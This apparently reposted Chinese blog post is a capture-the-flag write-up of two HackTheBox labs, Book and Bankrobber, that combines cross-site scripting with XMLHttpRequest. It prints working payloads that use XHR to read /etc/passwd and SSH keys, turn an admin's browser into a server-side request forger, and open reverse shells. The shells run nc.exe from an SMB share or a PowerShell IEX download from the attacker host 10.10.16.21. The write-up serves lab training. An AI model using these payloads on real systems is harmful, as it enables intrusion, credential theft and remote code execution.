从两道靶场题目看XHR
2020-04-01 10:59:25 Author: xz.aliyun.com(查看原文) 阅读量:277 收藏

**
XHR,也就是XMLHttpRequest,是现代浏览器都有的一个内置对象,使用 XMLHttpRequest对象可以与服务器交互。无需刷新整个页面即可从URL获取数据,允许网页在不影响用户的操作的情况下更新页面的局部内容,多应用于 AJAX 编程中。

特别注意的是XMLHttpRequest 可以用于获取任何类型的数据,而不仅仅是XML,它甚至支持 HTTP 以外的协议(包括 file:// 和 FTP)

**
适用于XSS打到后台管理员,以普通用户身份构造payload发送给管理员,登录后台触发payload并查看回显(也就是拿到cookie能够登录后台的情况)

以Hackthebox的book靶场为例:

情景描述:普通用户能够上传pdf文件,且能够自定义Title和Author,管理员能够下载用户上传的pdf;登录管理员发现Title字段插入的xss解析并显示在管理员能够看到的pdf标题中

验证:Title字段插入内容更改为

<script>document.write(Date());</script>

进一步利用:利用XHR读取本地文件
本来直接想到的是在浏览器本地同源的情况下file协议读取:<利用iframe的file协议>

<iframe src="file:///etc/passwd"></iframe>

没有回显

<script>document.write('<iframe src=file:///etc/passwd></iframe>')</script>

还是没有回显

姿势不够,直接使用iframe插入paylaod没有回显,但是说明了可以使用file协议,尝试使用XHR发送Ajax请求并利用File协议读取:

<script>
    x=new XMLHttpRequest;
    x.onload=function(){
    document.write(this.responseText)
    };
    x.open("GET","file:///etc/passwd");
    x.send();
 </script>

Tips:由于这里对Title内容没有字数限制,所以我直接插入完整paylaod,有字数限制的情况下可以写入js文件中,后面会讲到

同样的方法可以直接读取到该服务器的用户ssh私钥进行登录

这个条件比较苛刻,需要有命令执行,但是对执行者的IP进行验证,这里以HackTheBox的Bankrobber中的例子为例

情景描述:页面端有个backdoorchecker.php页面,能够执行dir命令(限制不严,很简单就绕过),但是只允许本地执行,直接看代码(通过SQL注入已读取到源码)

简易思路:现有XSS,尝试结合XMLHttpRequest借用本地账户进行操作:借用管理员身份打开backerdoorchecker.php绕过IP限制(即转换成SSRF),并构造payload绕过命令执行限制

漏洞利用:借助smb执行我们攻击机上的nc反弹shell (smb服务可以借助impacket套件中的smbserver.py快速搭建)
Payload:

<script> var x = new XMLHttpRequest(); x.open("POST", "backdoorchecker.php", true); x.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); x.send('cmd=dir xxx || \\\\10.10.16.21\\ica\\nc.exe -e cmd.exe 10.10.16.21 9999');</script>

'####nc -lvvp 9999 即可回弹shell

**
这里可以把payload写到js文件中,然后插入我们的js文件即可,关于如何编写XHR的js文件的链接会放到文末。
这里针对利用二,还有另外的利用方式,即通过powershell IEX下载脚本并反弹PowerShellTcp.ps1并反弹。既然提到了js文件的方式,就以这种方式构造payload:
XSS框直接插入:

<script src="http://10.10.16.21:8000/reverse.js"></script>

Reverse.js文件内容如下:

function paintfunc(){
     var http = new XMLHttpRequest();
         var url = 'http://localhost/admin/backdoorchecker.php';
         var params = 'cmd=dir| powershell -c "iex (New-Object Net.WebClient).DownloadString(\'http://10.10.16.21:8000/Invoke-PowerShellTcp.ps1\');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.21 -Port 9969"';
         http.open('POST', url, true);
         http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
         http.send(params);
}
paintfunc();

0x05、题后话
1)、关于XSS结合XHR还有更多利用,如不能登录后台的情况下添加管理员等

2)、关于iframe没有回显的问题:这是由于iframe是通过浏览器本地同源来进行加载文件的,即不能通过网络加载,我们简单做个测试:
创建iframe.html,写入如下语句

<iframe src="file:///F:/password.txt"></iframe>

直接在本地直接打开

放到网站目录下通过浏览器访问:

链接:
https://www.w3schools.com/xml/xml_http.asp
http://heartsky.info/2017/08/30/%E6%B5%85%E8%B0%88-XSS-%E5%8F%91%E9%80%81%E5%A4%96%E5%9F%9F%E8%AF%B7%E6%B1%82/
https://blog.0daylabs.com/2014/11/01/xss-ex-filtrating-data-xmlhttprequest-js-pentesters-task-15-write/


文章来源: http://xz.aliyun.com/t/7473
如有侵权请联系:admin#unsafe.sh